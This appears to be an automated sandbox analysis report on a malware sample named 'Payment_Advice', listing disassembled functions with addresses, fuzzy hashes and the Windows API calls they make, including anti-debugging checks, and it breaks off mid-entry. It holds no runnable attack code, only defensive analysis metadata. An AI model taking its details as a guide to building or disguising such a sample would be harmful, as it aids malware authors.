Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 075257bd73bbc52b9c3baed37e3b9236993d9374a1e4f4e66a3113d3814e8be0
Instruction ID: a62003851c8350f736864eb6ce10210199db5c1df94a36d851c8a67d8ed6add4
Opcode Fuzzy Hash: 075257bd73bbc52b9c3baed37e3b9236993d9374a1e4f4e66a3113d3814e8be0
Instruction Fuzzy Hash: 91312975D05219DBEB20DFA4D9897CCBBB8BF08304F1040AAE40DAB260EB759B85DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0051E6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,0051E5E8,0000001C,0051E7DD,00000000,?,?,?,?,?,?,?,0051E5E8,00000004,00561CEC,0051E86D), ref: 0051E6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,0051E5E8,00000004,00561CEC,0051E86D), ref: 0051E6CF

Strings

D, xrefs: 0051E6C3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 2cdea38ac0e92bd10c6f7611970d5f783f2e70b04307fc3496761467941a2928
Instruction ID: 0a0e57774947cd7e3db9d79b6f5d08604cbaaf318f59c98359338afd53c2a8f1
Opcode Fuzzy Hash: 2cdea38ac0e92bd10c6f7611970d5f783f2e70b04307fc3496761467941a2928
Instruction Fuzzy Hash: 0E01D4326001096BEB14DE29DC09ADD7BAAFFC4324F0CC120ED19D7250D638D9458680

Uniqueness

Uniqueness Score: -1.00%

Function 00528EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00528FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00528FBF
UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 00528FCC

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a6d7aa14c04d6814a75fdaf8ae41cfa84161e8acaf79f68548b3b40fee8469d8
Instruction ID: 3ab0b9ae9f4d250b1cd7b5426b0094fbaed8648e861deca0574e319f89e4ebed
Opcode Fuzzy Hash: a6d7aa14c04d6814a75fdaf8ae41cfa84161e8acaf79f68548b3b40fee8469d8
Instruction Fuzzy Hash: 9631D875901229ABCB21DF64DD897DCBBB8BF48310F5041EAE41CA7290EB749F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 0052B348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 0052B4DB

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: df5dae998718e51e7b7147ef8a6bf8b62890385756e1e7cc9370a4a2e3ba77d5
Instruction ID: 9002ca09c94ffde1709b96e439345171451ac64ad14027fb00b9847ae75b8b18
Opcode Fuzzy Hash: df5dae998718e51e7b7147ef8a6bf8b62890385756e1e7cc9370a4a2e3ba77d5
Instruction Fuzzy Hash: 8231F6719002596BEF24DE78DC84EFA7FBDEF86314F0445A8E81897292E7309E458B90

Uniqueness

Uniqueness Score: -1.00%

Function 0052D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: fdf8dc2e088e7cde87cc29cfc9e2a4b14520bee61df1bad5eb21b2927d5dfd56
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: 9A022B71E002299FDF14CFA9D8806ADBBF1FF89314F258269D919E7381D735AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0051AF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0051AF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,0053E72C,?,?), ref: 0051AF84

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 8c1328a342e582d9d2beecc5aa4f6dc311339d525991eded8dbe47f943e206ba
Instruction ID: 56aa94543c945d00f321252bf84003532c8970cc585574aadb96b656889f7bf0
Opcode Fuzzy Hash: 8c1328a342e582d9d2beecc5aa4f6dc311339d525991eded8dbe47f943e206ba
Instruction Fuzzy Hash: 3E017C3A200348AAD7109FA4EC46F9A7BFCFF18710F405032FA05E7290E370A959DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00506C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00506DDF,00000000,00000400), ref: 00506C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00506C95

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: d9a55cb6e95a10977aed1bcb6d4b8359750dc040dbfecafb933b0efa5f3c5165
Instruction ID: 02b4801f58e1618a1ea60064fe7cef2e5311fe98f6c05c588857a16e2417bd9f
Opcode Fuzzy Hash: d9a55cb6e95a10977aed1bcb6d4b8359750dc040dbfecafb933b0efa5f3c5165
Instruction Fuzzy Hash: DDD0A934344300BFFB040B218D0AF2E3F98BF50B42F18C404B380E80E0DAB48828B628

Uniqueness

Uniqueness Score: -1.00%

Function 005319F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,005319EF,?,?,00000008,?,?,0053168F,00000000), ref: 00531C21

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 66ec65ee7f10955995d21279fa10120f206ccbf4cbdbbfc67a76d222ada70458
Instruction ID: 2d7573ca4061c3e52ce5f2055e19f11d2cb3c2c4c0edc3941bc951b463fd0fac
Opcode Fuzzy Hash: 66ec65ee7f10955995d21279fa10120f206ccbf4cbdbbfc67a76d222ada70458
Instruction Fuzzy Hash: 93B14A31210A089FD715CF28C49AB65BFE0FF45365F258658E89ACF2A1C735ED92CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0051F654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0051F66A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 2e978898042d992720a75b57fb336348bde19e4c3ad9b7aef0d4c00a14923d2f
Instruction ID: 231de9c3d1652dbd1a7587934448ead071ae86ab94df8b2256e262e98d958846
Opcode Fuzzy Hash: 2e978898042d992720a75b57fb336348bde19e4c3ad9b7aef0d4c00a14923d2f
Instruction Fuzzy Hash: 905180B19006199FEB24CF58E9867EEBBF4FB58354F24853AD411EB390D3749944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0050B146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0050B16B

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 3b92c2ad8302f51a15b8bd13cce22db515b396fb29ad0fd6834c3450f8ce53c9
Instruction ID: 3382780d0a5856ff06861cc84ead4ad3b5ce7b81f74d008c8e5e96cb2d5e217e
Opcode Fuzzy Hash: 3b92c2ad8302f51a15b8bd13cce22db515b396fb29ad0fd6834c3450f8ce53c9
Instruction Fuzzy Hash: 76F03AB8E006088FDB28CB18ED9A6D977F1FBA9359F104295D51993390C3B0A9C8DF64

Uniqueness

Uniqueness Score: -1.00%

Function 005040FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 005041BC

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: bcc56bf6068f5c2fd5f385ece35ef7d576f0538485a91f732819961c9dfd73b7
Instruction ID: 8ce939f313efb74e73aeb4c52d9c1b46a56fe94784fe1b47f342b412dc36ea50
Opcode Fuzzy Hash: bcc56bf6068f5c2fd5f385ece35ef7d576f0538485a91f732819961c9dfd73b7
Instruction Fuzzy Hash: BDC127B6A183418FC354CF2AD88065AFBE1BFC8308F19892DE998D7311D734E955CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0051F9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,0051F3A5), ref: 0051F9DA

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7e545dac1ebb2faf2b48f8968936b0fd0ab60337a693bb58f6f369ca2c9f46f8
Instruction ID: bdc7777680aceb967434e2ba55de9dea00fe24684ecc62a35b5ef08402485eb4
Opcode Fuzzy Hash: 7e545dac1ebb2faf2b48f8968936b0fd0ab60337a693bb58f6f369ca2c9f46f8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0052C030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0052C030

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 359cc51e40981e80979e34cef1b31dddd9ae9795d8c0d6959930e7266df1215b
Instruction ID: 977f118b96727179866e7f842200ff29eb7b18019d9b3a2d2272e238bb36abc6
Opcode Fuzzy Hash: 359cc51e40981e80979e34cef1b31dddd9ae9795d8c0d6959930e7266df1215b
Instruction Fuzzy Hash: 22A011302022008BC3008F38AE082083AA8AA20282B08002AA008C2220EAA080A8FB00

Uniqueness

Uniqueness Score: -1.00%

Function 005162CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
Instruction ID: 48fd3b5b738bcf3e0ff4af3b637819156058e4c42ce91aa3f7f62c0c6cc0e5d2
Opcode Fuzzy Hash: b6eb7e628c131b77d64230efdf3487e18faf11e64f64428999ea75b77c32f4a9
Instruction Fuzzy Hash: 0562DF716047859FDB25CF28C8906F9BFE1BF95304F08896DE8AA8B342D730E985CB11

Uniqueness

Uniqueness Score: -1.00%

Function 005177EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
Instruction ID: efce6c40ceaf442b8eb76e5752340f72ae75ed26b27b5415d38b13f46d7dd350
Opcode Fuzzy Hash: ea09b33de8b9cfbb8209bfa1a333bac43e177ce32cd9c289141a45ee596f7016
Instruction Fuzzy Hash: FB62A1716083499FDB15CF2CC8809B9BFF1BF99304F18896DE89A8B346D630E985CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0050F461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
Instruction ID: 47630a132885c1f7c5192660667277210b57bade1b528d3a367532f2a9dcbc05
Opcode Fuzzy Hash: 1878276514fa88b4dc78be59b3a11d6ef0ca78ea051cd932ee5a1b4ffb735fc3
Instruction Fuzzy Hash: 06524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00517153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20bf4cef5cef176c49850f8131e28f5ed4baf0b9d3ea7ca0cad3fa9fadd44204
Instruction ID: 3aef52d4e0c8f199732084ad6417ce4ed1c9a0b28c64a686510853ac097f11aa
Opcode Fuzzy Hash: 20bf4cef5cef176c49850f8131e28f5ed4baf0b9d3ea7ca0cad3fa9fadd44204
Instruction Fuzzy Hash: C412C3B160870A9FD718CF2CC494AB9BBF1FF98304F14892DE996C7681D334A995CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0050C426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8abe1862ccffab01e24c7c57877abc7046e480e245a5e07e6a8200ae0f98cd
Instruction ID: 3dcca2ac8fc2aeb364c1a919bd07ac562e19de08c861fbe3e69a58f17f37e70f
Opcode Fuzzy Hash: 3a8abe1862ccffab01e24c7c57877abc7046e480e245a5e07e6a8200ae0f98cd
Instruction Fuzzy Hash: 9CF17771A083158FC728CF28C58862EBFE5FFCA314F254B2EF48597296D631E9458B46

Uniqueness

Uniqueness Score: -1.00%

Function 0050E9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5abdab17420c5a85c4c1e100ecd13286d468e1db2eb3f94771506c5e93e242
Instruction ID: af397b0d1a09f7935dcf3e8cfcced3fa09cf68dca08f0ced1f3d9bb87a607a1b
Opcode Fuzzy Hash: 4a5abdab17420c5a85c4c1e100ecd13286d468e1db2eb3f94771506c5e93e242
Instruction Fuzzy Hash: 30E16C795083948FD314CF29D8909AABFF0BF9A304F45095EF9C497392C235EA19DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00514088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
